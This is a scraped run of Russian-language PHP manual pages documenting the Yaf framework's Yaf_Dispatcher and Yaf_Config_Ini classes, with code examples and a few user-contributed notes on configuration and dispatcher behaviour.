  • Yaf_Dispatcher::setErrorHandler() - Устанавливает обработчик ошибок

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Yaf_Dispatcher

  • « Yaf_Dispatcher::catchException
  • Yaf_Dispatcher::disableView »
  • PHP Manual
  • Yaf_Dispatcher
  • Конструктор класса Yaf_Dispatcher

Yaf_Dispatcher::__construct

(Yaf >=1.0.0)

Yaf_Dispatcher::__construct — Конструктор класса Yaf_Dispatcher

Описание

public Yaf_Dispatcher::__construct()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отключает механизм просмотра

  • « Yaf_Dispatcher::__construct
  • Yaf_Dispatcher::dispatch »
  • PHP Manual
  • Yaf_Dispatcher
  • Отключает механизм просмотра

Yaf_Dispatcher::disableView

(Yaf >=1.0.0)

Yaf_Dispatcher::disableView — Отключает механизм просмотра

Описание

public Yaf_Dispatcher::disableView(): bool

Отключает механизм просмотра, используемый в некоторых приложениях, которые пользователь выводит самостоятельно

Замечание:

Вы можете просто вернуть false в действии, чтобы предотвратить автоматический рендеринг этого действия

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет запрос

  • « Yaf_Dispatcher::disableView
  • Yaf_Dispatcher::enableView »
  • PHP Manual
  • Yaf_Dispatcher
  • Отправляет запрос

Yaf_Dispatcher::dispatch

(Yaf >=1.0.0)

Yaf_Dispatcher::dispatch — Отправляет запрос

Описание

public Yaf_Dispatcher::dispatch(Yaf_Request_Abstract $request): Yaf_Response_Abstract

Метод выполняет тяжёлую работу Yaf_Dispatcher. Требуется объект запроса.

Процесс отправки имеет три различных события:

  • Маршрутизация
  • Диспетчеризация
  • Ответ
Маршрутизация выполняется ровно один раз с использованием значений в объекте запроса при вызове Yaf_Dispatcher::dispatch(). Диспетчеризация происходит в цикле; запрос может либо указывать на несколько действий для отправки, либо контроллер или подключаемый модуль может сбросить объект запроса, чтобы принудительно выполнить отправку дополнительных действий (смотрите Yaf_Plugin_Abstract. Когда всё будет готово, Yaf_Dispatcher возвращает ответ.

Список параметров

request

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Включает механизм просмотра

  • « Yaf_Dispatcher::dispatch
  • Yaf_Dispatcher::flushInstantly »
  • PHP Manual
  • Yaf_Dispatcher
  • Включает механизм просмотра

Yaf_Dispatcher::enableView

(Yaf >=1.0.0)

Yaf_Dispatcher::enableView — Включает механизм просмотра

Описание

public Yaf_Dispatcher::enableView(): Yaf_Dispatcher

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Включает/выключает мгновенную очистку

  • « Yaf_Dispatcher::enableView
  • Yaf_Dispatcher::getApplication »
  • PHP Manual
  • Yaf_Dispatcher
  • Включает/выключает мгновенную очистку

Yaf_Dispatcher::flushInstantly

(Yaf >=1.0.0)

Yaf_Dispatcher::flushInstantly — Включает/выключает мгновенную очистку

Описание

public Yaf_Dispatcher::flushInstantly(bool $flag = ?): Yaf_Dispatcher

Список параметров

flag

bool

Замечание:

начиная с 2.2.0, если этот параметр не задан, будет возвращено текущее состояние

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает приложение

  • « Yaf_Dispatcher::flushInstantly
  • Yaf_Dispatcher::getDefaultAction »
  • PHP Manual
  • Yaf_Dispatcher
  • Получает приложение

Yaf_Dispatcher::getApplication

(Yaf >=1.0.0)

Yaf_Dispatcher::getApplication — Получает приложение

Описание

public Yaf_Dispatcher::getApplication(): Yaf_Application

Получает экземпляр Yaf_Application. То же, что и Yaf_Application::app().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Application::app() - Извлечь экземпляр приложения

User Contributed Notes

There are no user contributed notes for this page.


Получает имя действия по умолчанию

  • « Yaf_Dispatcher::getApplication
  • Yaf_Dispatcher::getDefaultController »
  • PHP Manual
  • Yaf_Dispatcher
  • Получает имя действия по умолчанию

Yaf_Dispatcher::getDefaultAction

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultAction — Получает имя действия по умолчанию

Описание

public Yaf_Dispatcher::getDefaultAction(): string

Получает имя действия по умолчанию

Список параметров

У этой функции нет параметров.

Возвращаемые значения

string, имя действия, по умолчанию - "index"

User Contributed Notes

There are no user contributed notes for this page.


Получает имя контроллера по умолчанию

  • « Yaf_Dispatcher::getDefaultAction
  • Yaf_Dispatcher::getDefaultModule »
  • PHP Manual
  • Yaf_Dispatcher
  • Получает имя контроллера по умолчанию

Yaf_Dispatcher::getDefaultController

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultController — Получает имя контроллера по умолчанию

Описание

public Yaf_Dispatcher::getDefaultController(): string

Получает имя контроллера по умолчанию

Список параметров

У этой функции нет параметров.

Возвращаемые значения

string, имя контроллера, по умолчанию - "Index"

User Contributed Notes

There are no user contributed notes for this page.


Получает имя модуля по умолчанию

  • « Yaf_Dispatcher::getDefaultController
  • Yaf_Dispatcher::getInstance »
  • PHP Manual
  • Yaf_Dispatcher
  • Получает имя модуля по умолчанию

Yaf_Dispatcher::getDefaultModule

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultModule — Получает имя модуля по умолчанию

Описание

public Yaf_Dispatcher::getDefaultModule(): string

Получает имя модуля по умолчанию

Список параметров

У этой функции нет параметров.

Возвращаемые значения

string, имя модуля, по умолчанию - "Index"

User Contributed Notes

There are no user contributed notes for this page.


Получает экземпляр диспетчера

  • « Yaf_Dispatcher::getDefaultModule
  • Yaf_Dispatcher::getRequest »
  • PHP Manual
  • Yaf_Dispatcher
  • Получает экземпляр диспетчера

Yaf_Dispatcher::getInstance

(Yaf >=1.0.0)

Yaf_Dispatcher::getInstance — Получает экземпляр диспетчера

Описание

public static Yaf_Dispatcher::getInstance(): Yaf_Dispatcher

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает экземпляр запроса

  • « Yaf_Dispatcher::getInstance
  • Yaf_Dispatcher::getRouter »
  • PHP Manual
  • Yaf_Dispatcher
  • Получает экземпляр запроса

Yaf_Dispatcher::getRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::getRequest — Получает экземпляр запроса

Описание

public Yaf_Dispatcher::getRequest(): Yaf_Request_Abstract

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает экземпляр маршрутизатора

  • « Yaf_Dispatcher::getRequest
  • Yaf_Dispatcher::initView »
  • PHP Manual
  • Yaf_Dispatcher
  • Получает экземпляр маршрутизатора

Yaf_Dispatcher::getRouter

(Yaf >=1.0.0)

Yaf_Dispatcher::getRouter — Получает экземпляр маршрутизатора

Описание

public Yaf_Dispatcher::getRouter(): Yaf_Router

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует представление и возвращает его

  • « Yaf_Dispatcher::getRouter
  • Yaf_Dispatcher::registerPlugin »
  • PHP Manual
  • Yaf_Dispatcher
  • Инициализирует представление и возвращает его

Yaf_Dispatcher::initView

(Yaf >=1.0.0)

Yaf_Dispatcher::initView — Инициализирует представление и возвращает его

Описание

public Yaf_Dispatcher::initView(string $templates_dir, array $options = ?): Yaf_View_Interface

Список параметров

templates_dir

options

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует плагин

  • « Yaf_Dispatcher::initView
  • Yaf_Dispatcher::returnResponse »
  • PHP Manual
  • Yaf_Dispatcher
  • Регистрирует плагин

Yaf_Dispatcher::registerPlugin

(Yaf >=1.0.0)

Yaf_Dispatcher::registerPlugin — Регистрирует плагин

Описание

public Yaf_Dispatcher::registerPlugin(Yaf_Plugin_Abstract $plugin): Yaf_Dispatcher

Регистрирует плагин (смотрите Yaf_Plugin_Abstract). Как правило, мы регистрируем плагины в Bootstrap (смотрите Yaf_Bootstrap_Abstract).

Список параметров

plugin

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Dispatcher::registerPlugin()

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
public function _initPlugin(Yaf_Dispatcher $dispatcher) {
/**
* Yaf ожидает скрипты плагинов в [application.directory] . "/plugins"
* для этого случая будет:
* [application.directory] . "/plugins/" . "User" . [application.ext]
*/
$user = new UserPlugin();
$dispatcher->registerPlugin($user);
}
}
?>

Смотрите также

  • Yaf_Plugin_Abstract
  • Yaf_Bootstrap_Abstract

User Contributed Notes

There are no user contributed notes for this page.


Назначение returnResponse

  • « Yaf_Dispatcher::registerPlugin
  • Yaf_Dispatcher::setDefaultAction »
  • PHP Manual
  • Yaf_Dispatcher
  • Назначение returnResponse

Yaf_Dispatcher::returnResponse

(Yaf >=1.0.0)

Yaf_Dispatcher::returnResponse — Назначение returnResponse

Описание

public Yaf_Dispatcher::returnResponse(bool $flag): Yaf_Dispatcher

Список параметров

flag

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Изменяет имя действия по умолчанию

  • « Yaf_Dispatcher::returnResponse
  • Yaf_Dispatcher::setDefaultController »
  • PHP Manual
  • Yaf_Dispatcher
  • Изменяет имя действия по умолчанию

Yaf_Dispatcher::setDefaultAction

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultAction — Изменяет имя действия по умолчанию

Описание

public Yaf_Dispatcher::setDefaultAction(string $action): Yaf_Dispatcher

Список параметров

action

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Изменяет имя контроллера по умолчанию

  • « Yaf_Dispatcher::setDefaultAction
  • Yaf_Dispatcher::setDefaultModule »
  • PHP Manual
  • Yaf_Dispatcher
  • Изменяет имя контроллера по умолчанию

Yaf_Dispatcher::setDefaultController

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultController — Изменяет имя контроллера по умолчанию

Описание

public Yaf_Dispatcher::setDefaultController(string $controller): Yaf_Dispatcher

Список параметров

controller

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Изменяет имя модуля по умолчанию

  • « Yaf_Dispatcher::setDefaultController
  • Yaf_Dispatcher::setErrorHandler »
  • PHP Manual
  • Yaf_Dispatcher
  • Изменяет имя модуля по умолчанию

Yaf_Dispatcher::setDefaultModule

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultModule — Изменяет имя модуля по умолчанию

Описание

public Yaf_Dispatcher::setDefaultModule(string $module): Yaf_Dispatcher

Список параметров

module

Возвращаемые значения

User Contributed Notes

451819506 at qq dot com 12-Feb-2018 01:25
function $dispatcher->setDefaultModule("xxx")  is unable to set default module  from index to others
451819506 at qq dot com 12-Feb-2018 01:25
function $dispatcher->setDefaultModule("xxx")  is unable to set default module  from index to others
1048418244 at qq dot com 15-Jul-2013 03:58
Yaf_Dispatcher::setDefaultModule is not effective.

yaf version 2.2.9


Устанавливает обработчик ошибок

  • « Yaf_Dispatcher::setDefaultModule
  • Yaf_Dispatcher::setRequest »
  • PHP Manual
  • Yaf_Dispatcher
  • Устанавливает обработчик ошибок

Yaf_Dispatcher::setErrorHandler

(Yaf >=1.0.0)

Yaf_Dispatcher::setErrorHandler — Устанавливает обработчик ошибок

Описание

public Yaf_Dispatcher::setErrorHandler(call $callback, int $error_types): Yaf_Dispatcher

Устанавливает обработчик ошибок для Yaf. Если application.dispatcher.throwException выключен, Yaf будет вызывать перехватываемую ошибку в случае возникновения непредвиденных ошибок.

Таким образом, этот обработчик ошибок будет вызываться в случае возникновения ошибки.

Список параметров

callback

Вызываемая callback-функция

error_types

Возвращаемые значения

Смотрите также

  • Yaf_Dispatcher::throwException() - Включает/выключает выбрасывание исключений
  • Yaf_Application::getLastErrorNo() - Получить код последней ошибки
  • Yaf_Application::getLastErrorMsg() - Получить последнее сообщение об ошибке

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 07:20
eg:

<?php $dispatcher->setErrorHandler(array(get_class($this),'error_handler')); ?>


Назначение setRequest

  • « Yaf_Dispatcher::setErrorHandler
  • Yaf_Dispatcher::setView »
  • PHP Manual
  • Yaf_Dispatcher
  • Назначение setRequest

Yaf_Dispatcher::setRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::setRequest — Назначение setRequest

Описание

public Yaf_Dispatcher::setRequest(Yaf_Request_Abstract $request): Yaf_Dispatcher

Список параметров

plugin

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает пользовательский механизм отображения

  • « Yaf_Dispatcher::setRequest
  • Yaf_Dispatcher::throwException »
  • PHP Manual
  • Yaf_Dispatcher
  • Устанавливает пользовательский механизм отображения

Yaf_Dispatcher::setView

(Yaf >=1.0.0)

Yaf_Dispatcher::setView — Устанавливает пользовательский механизм отображения

Описание

public Yaf_Dispatcher::setView(Yaf_View_Interface $view): Yaf_Dispatcher

Метод предоставляет решение, если вы хотите использовать собственный механизм отображения вместо Yaf_View_Simple.

Список параметров

view

Экземпляр Yaf_View_Interface

Возвращаемые значения

Примеры

Пример #1 Пример использования пользовательского движка отображения()

<?php
require "/path/to/smarty/Smarty.class.php";

class Smarty_Adapter implements Yaf_View_Interface
{
/**
* Smarty object
* @var Smarty
*/
public $_smarty;

/**
* Конструктор
*
* @param string $tmplPath
* @param array $extraParams
* @return void
*/
public function __construct($tmplPath = null, $extraParams = array()) {
$this->_smarty = new Smarty;

if (null !== $tmplPath) {
$this->setScriptPath($tmplPath);
}

foreach ($extraParams as $key => $value) {
$this->_smarty->$key = $value;
}
}

/**
* Задайте путь к шаблонам
*
* @param string $path Каталог, который нужно задать в качестве пути.
* @return void
*/
public function setScriptPath($path)
{
if (is_readable($path)) {
$this->_smarty->template_dir = $path;
return;
}

throw new Exception('Invalid path provided');
}

/**
* Назначьте переменную шаблону
*
* @param string $key Имя переменной
* @param mixed $val Значение переменной.
* @return void
*/
public function __set($key, $val)
{
$this->_smarty->assign($key, $val);
}

/**
* Разрешает тестирование с empty() и isset()
*
* @param string $key
* @return boolean
*/
public function __isset($key)
{
return (null !== $this->_smarty->get_template_vars($key));
}

/**
* Разрешает unset() для свойств объекта
*
* @param string $key
* @return void
*/
public function __unset($key)
{
$this->_smarty->clear_assign($key);
}

/**
* Назначьте переменные шаблону
*
* Позволяет установить конкретный ключ для указанного значения
* ИЛИ передать массив пар ключ => значение для массовой установки.
*
* @see __set()
* @param string|array $spec Стратегия присваивания (ключ или массив пар ключ => значение)
* @param mixed $value (Optional) При присвоении именованной переменной используйте её как значение.
* @return void
*/
public function assign($spec, $value = null) {
if (is_array($spec)) {
$this->_smarty->assign($spec);
return;
}

$this->_smarty->assign($spec, $value);
}

/**
* Очистить все присвоенные переменные
*
* Очищает все переменные, назначенные Yaf_View, либо через
* {@link assign()} или перезагрузку свойства
* ({@link __get()}/{@link __set()}).
*
* @return void
*/
public function clearVars() {
$this->_smarty->clear_all_assign();
}

/**
* Обрабатывает шаблон и возвращает результат.
*
* @param string $name Шаблон для обработки.
* @return string Вывод.
*/
public function render($name, $value = NULL) {
return $this->_smarty->fetch($name);
}

public function display($name, $value = NULL) {
echo $this->_smarty->fetch($name);
}

}
?>

Пример #2 Пример использования Yaf_Dispatcher::setView()

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {

/**
* конфигурация для smarty в конфигурации:
*
* smarty.left_delimiter = "{{"
* smarty.right_delimiter = "}}"
* smarty.template_dir = APPLICATION_PATH "/views/scripts/"
* smarty.compile_dir = APPLICATION_PATH "/views/templates_c/"
* smarty.cache_dir = APPLICATION_PATH "/views/templates_d/"
*
*/
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initLocalName() {
/** мы помещаем класс Smarty_Adapter в каталог локальной библиотеки */
Yaf_Loader::getInstance()->registerLocalNamespace('Smarty');
}

public function _initSmarty(Yaf_Dispatcher $dispatcher) {
$smarty = new Smarty_Adapter(null, Yaf_Registry::get("config")->get("smarty"));
$dispatcher->setView($smarty);
/* теперь механизм отображения Smarty стал механизмом отображения по умолчанию для Yaf */
}
}
?>

Смотрите также

  • Yaf_View_Interface
  • Yaf_View_Simple

User Contributed Notes

There are no user contributed notes for this page.


Включает/выключает выбрасывание исключений

  • « Yaf_Dispatcher::setView
  • Yaf_Config_Abstract »
  • PHP Manual
  • Yaf_Dispatcher
  • Включает/выключает выбрасывание исключений

Yaf_Dispatcher::throwException

(Yaf >=1.0.0)

Yaf_Dispatcher::throwException — Включает/выключает выбрасывание исключений

Описание

public Yaf_Dispatcher::throwException(bool $flag = ?): Yaf_Dispatcher

Включает/выключает выбрасывание исключений в случае возникновении непредвиденной ошибки. Когда включено, Yaf будет выбрасывать исключения вместо того, чтобы вызывать ошибки, которые можно отловить.

Вы также можете использовать application.dispatcher.throwException, чтобы достичь той же цели.

Список параметров

flag

bool

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Dispatcher::throwexception()

<?php

$config = array(
'application' => array(
'directory' => dirname(__FILE__),
),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(true);

try {
$app->run();
} catch (Yaf_Exception $e) {
var_dump($e->getMessage());
}
?>

Результатом выполнения данного примера будет что-то подобное:

string(59) "Could not find controller script /tmp/controllers/Index.php"

Пример #2 Пример использования Yaf_Dispatcher::throwexception()

<?php

$config = array(
'application' => array(
'directory' => dirname(__FILE__),
),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(false);

$app->run();
?>

Результатом выполнения данного примера будет что-то подобное:

PHP Catchable fatal error:  Yaf_Application::run(): Could not find controller script /tmp/controllers/Index.php in /tmp/1.php on line 12

Смотрите также

  • Yaf_Dispatcher::catchException() - Включает/выключает перехват исключений
  • Yaf_Exception

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Config_Abstract

(Yaf >=1.0.0)

Введение

Обзор классов

abstract class Yaf_Config_Abstract {
/* Свойства */
protected $_config;
protected $_readonly;
/* Методы */
abstract public get(string $name, mixed $value): mixed
abstract public readonly(): bool
abstract public set(): Yaf_Config_Abstract
abstract public toArray(): array
}

Свойства

_config

_readonly

Содержание

  • Yaf_Config_Abstract::get — Геттер
  • Yaf_Config_Abstract::readonly — Находит конфигурацию только для чтения
  • Yaf_Config_Abstract::set — Сеттер
  • Yaf_Config_Abstract::toArray — Приведение к массиву

User Contributed Notes

There are no user contributed notes for this page.


Геттер

  • « Yaf_Config_Abstract
  • Yaf_Config_Abstract::readonly »
  • PHP Manual
  • Yaf_Config_Abstract
  • Геттер

Yaf_Config_Abstract::get

(Yaf >=1.0.0)

Yaf_Config_Abstract::get — Геттер

Описание

abstract public Yaf_Config_Abstract::get(string $name, mixed $value): mixed

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Находит конфигурацию только для чтения

  • « Yaf_Config_Abstract::get
  • Yaf_Config_Abstract::set »
  • PHP Manual
  • Yaf_Config_Abstract
  • Находит конфигурацию только для чтения

Yaf_Config_Abstract::readonly

(Yaf >=1.0.0)

Yaf_Config_Abstract::readonly — Находит конфигурацию только для чтения

Описание

abstract public Yaf_Config_Abstract::readonly(): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Сеттер

  • « Yaf_Config_Abstract::readonly
  • Yaf_Config_Abstract::toArray »
  • PHP Manual
  • Yaf_Config_Abstract
  • Сеттер

Yaf_Config_Abstract::set

(Yaf >=1.0.0)

Yaf_Config_Abstract::set — Сеттер

Описание

abstract public Yaf_Config_Abstract::set(): Yaf_Config_Abstract

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Приведение к массиву

  • « Yaf_Config_Abstract::set
  • Yaf_Config_Ini »
  • PHP Manual
  • Yaf_Config_Abstract
  • Приведение к массиву

Yaf_Config_Abstract::toArray

(Yaf >=1.0.0)

Yaf_Config_Abstract::toArray — Приведение к массиву

Описание

abstract public Yaf_Config_Abstract::toArray(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Config_Ini

(Yaf >=1.0.0)

Введение

Yaf_Config_Ini позволяет разработчикам хранить конфигурационные данные в известном INI формате и читать их в приложении с использованием синтаксиса вложенных свойств объекта. INI формат специализируется на обеспечении возможности иметь иерархию ключей конфигурационных данных и наследовании между разделами конфигурационных данных. Иерархия конфигурационных данных поддерживается путём разделения ключей с точкой ("."). Разделы можно расширять или наследовать от других разделов путём проставления после имени раздела двоеточия (":") и названия раздела от которого данные унаследованы.

Замечание:

Yaf_Config_Ini использует функцию parse_ini_file(). Пожалуйста изучите документацию для понимания её поведения, которое наследует Yaf_Config_Ini, такого как обработка специальных значений "true", "false", "yes", "no", и "null".

Обзор классов

class Yaf_Config_Ini extends Yaf_Config_Abstract implements Iterator, ArrayAccess, Countable {
/* Свойства */
/* Методы */
public __construct(string $config_file, string $section = ?)
public count(): void
public current(): void
public __get(string $name = ?): void
public __isset(string $name): void
public key(): void
public next(): void
public offsetExists(string $name): void
public offsetGet(string $name): void
public offsetSet(string $name, string $value): void
public offsetUnset(string $name): void
public readonly(): void
public rewind(): void
public __set(string $name, mixed $value): void
public toArray(): array
public valid(): void
/* Наследуемые методы */
abstract public Yaf_Config_Abstract::get(string $name, mixed $value): mixed
abstract public Yaf_Config_Abstract::readonly(): bool
abstract public Yaf_Config_Abstract::set(): Yaf_Config_Abstract
abstract public Yaf_Config_Abstract::toArray(): array
}

Свойства

_config

_readonly

Примеры

Пример #1 Yaf_Config_Ini()example

Этот пример раскрывает базовые особенности использования Yaf_Config_Ini при загрузке данных из INI-файла. В этом примере задаётся конфигурация для промышленной и демонстрационной среды. Так как конфигурация демо-среды очень похожа на конфигурацию промышленной, то она наследует от неё. Но вы в своих приложениях вольны поступать как хотите. В общем, вот такая конфигурация задана в /path/to/config.ini:

; Промышленная среда
[production]
webhost                  = www.example.com
database.adapter         = pdo_mysql
database.params.host     = db.example.com
database.params.username = dbuser
database.params.password = secret
database.params.dbname   = dbname

; Демо-среда. Наследует конфигурацию промышленной с некоторыми поправками
[staging : production]
database.params.host     = dev.example.com
database.params.username = devuser
database.params.password = devsecret
<?php
$config = new Yaf_Config_Ini('/path/to/config.ini', 'staging');

var_dump($config->database->params->host);
var_dump($config->database->params->dbname);
var_dump($config->get("database.params.username"));
?>

Результатом выполнения данного примера будет что-то подобное:

string(15) "dev.example.com"
string(6) "dbname"
string(7) "devuser

Содержание

  • Yaf_Config_Ini::__construct — Конструктор класса Yaf_Config_Ini
  • Yaf_Config_Ini::count — Подсчитывает все элементы в Yaf_Config.ini
  • Yaf_Config_Ini::current — Получает текущее значение
  • Yaf_Config_Ini::__get — Получает элемент
  • Yaf_Config_Ini::__isset — Определяет, существует ли ключ
  • Yaf_Config_Ini::key — Получает ключ текущего элемента
  • Yaf_Config_Ini::next — Продвигает внутренний указатель
  • Yaf_Config_Ini::offsetExists — Назначение offsetExists
  • Yaf_Config_Ini::offsetGet — Назначение offsetGet
  • Yaf_Config_Ini::offsetSet — Назначение offsetSet
  • Yaf_Config_Ini::offsetUnset — Назначение offsetUnset
  • Yaf_Config_Ini::readonly — Назначение readonly
  • Yaf_Config_Ini::rewind — Назначение rewind
  • Yaf_Config_Ini::__set — Назначение __set
  • Yaf_Config_Ini::toArray — Возвращает конфигурацию как массив PHP
  • Yaf_Config_Ini::valid — Назначение valid

User Contributed Notes

zzxiaoman at gmail dot com 04-Mar-2015 03:17
when i use Yaf_Config_ini with these lines:

type.18.text=abc
type.8.text=ddf
type.0.text=fjdsklf

You can through this way

$$configArr = $config->toArray();
var_dump($configArr['type'][18]['text']);

result:
abc
Mark 03-Jan-2015 08:59
/conf/db.ini

[product]
database.params.host           = localhost
database.params.port           = 5432
database.params.dbname    = postgres
database.params.username = 'postgres'
database.params.password  = 123456

<?php
       $config  = new Yaf_Config_ini('../conf/db.ini','product');
        $config = $config->toArray();
        $host       =   $config['database']['params']['host'];
        $port       =   $config['database']['params']['port'];
        $database   =   $config['database']['params']['dbname'];
        $username        =   $config['database']['params'['username'];
        $password   =   $config['database']['params']['password'];
        $pg_conn = pg_connect("host='$host' port='$port' dbname='$database'  user='$username' password='$password' ");
?>
lee dot howarth dot 90 at gmail dot com 02-May-2014 09:59
@flowithwind

var_dump($config -> toArray()[ 'type' ][ 18 ][ 'text' ]);

string 'abc' (length=3)


Конструктор класса Yaf_Config_Ini

  • « Yaf_Config_Ini
  • Yaf_Config_Ini::count »
  • PHP Manual
  • Yaf_Config_Ini
  • Конструктор класса Yaf_Config_Ini

Yaf_Config_Ini::__construct

(Yaf >=1.0.0)

Yaf_Config_Ini::__construct — Конструктор класса Yaf_Config_Ini

Описание

public Yaf_Config_Ini::__construct(string $config_file, string $section = ?)

Конструктор класса Yaf_Config_Ini

Список параметров

config_file

Путь к файлу конфигурации INI

section

Какой раздел в этом файле INI вы хотите проанализировать

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Подсчитывает все элементы в Yaf_Config.ini

  • « Yaf_Config_Ini::__construct
  • Yaf_Config_Ini::current »
  • PHP Manual
  • Yaf_Config_Ini
  • Подсчитывает все элементы в Yaf_Config.ini

Yaf_Config_Ini::count

(Yaf >=1.0.0)

Yaf_Config_Ini::count — Подсчитывает все элементы в Yaf_Config.ini

Описание

public Yaf_Config_Ini::count(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает текущее значение

  • « Yaf_Config_Ini::count
  • Yaf_Config_Ini::__get »
  • PHP Manual
  • Yaf_Config_Ini
  • Получает текущее значение

Yaf_Config_Ini::current

(Yaf >=1.0.0)

Yaf_Config_Ini::current — Получает текущее значение

Описание

public Yaf_Config_Ini::current(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает элемент

  • « Yaf_Config_Ini::current
  • Yaf_Config_Ini::__isset »
  • PHP Manual
  • Yaf_Config_Ini
  • Получает элемент

Yaf_Config_Ini::__get

(Yaf >=1.0.0)

Yaf_Config_Ini::__get — Получает элемент

Описание

public Yaf_Config_Ini::__get(string $name = ?): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определяет, существует ли ключ

  • « Yaf_Config_Ini::__get
  • Yaf_Config_Ini::key »
  • PHP Manual
  • Yaf_Config_Ini
  • Определяет, существует ли ключ

Yaf_Config_Ini::__isset

(Yaf >=1.0.0)

Yaf_Config_Ini::__isset — Определяет, существует ли ключ

Описание

public Yaf_Config_Ini::__isset(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает ключ текущего элемента

  • « Yaf_Config_Ini::__isset
  • Yaf_Config_Ini::next »
  • PHP Manual
  • Yaf_Config_Ini
  • Получает ключ текущего элемента

Yaf_Config_Ini::key

(Yaf >=1.0.0)

Yaf_Config_Ini::key — Получает ключ текущего элемента

Описание

public Yaf_Config_Ini::key(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Продвигает внутренний указатель

  • « Yaf_Config_Ini::key
  • Yaf_Config_Ini::offsetExists »
  • PHP Manual
  • Yaf_Config_Ini
  • Продвигает внутренний указатель

Yaf_Config_Ini::next

(Yaf >=1.0.0)

Yaf_Config_Ini::next — Продвигает внутренний указатель

Описание

public Yaf_Config_Ini::next(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetExists

  • « Yaf_Config_Ini::next
  • Yaf_Config_Ini::offsetGet »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение offsetExists

Yaf_Config_Ini::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetExists — Назначение offsetExists

Описание

public Yaf_Config_Ini::offsetExists(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetGet

  • « Yaf_Config_Ini::offsetExists
  • Yaf_Config_Ini::offsetSet »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение offsetGet

Yaf_Config_Ini::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetGet — Назначение offsetGet

Описание

public Yaf_Config_Ini::offsetGet(string $name): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение offsetSet

  • « Yaf_Config_Ini::offsetGet
  • Yaf_Config_Ini::offsetUnset »
  • PHP Manual
  • Yaf_Config_Ini
  • Назначение offsetSet

Yaf_Config_Ini::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetSet — Назначение offsetSet

Описание

public Yaf_Config_Ini::offsetSet(string $name, string $value): void

Внимание

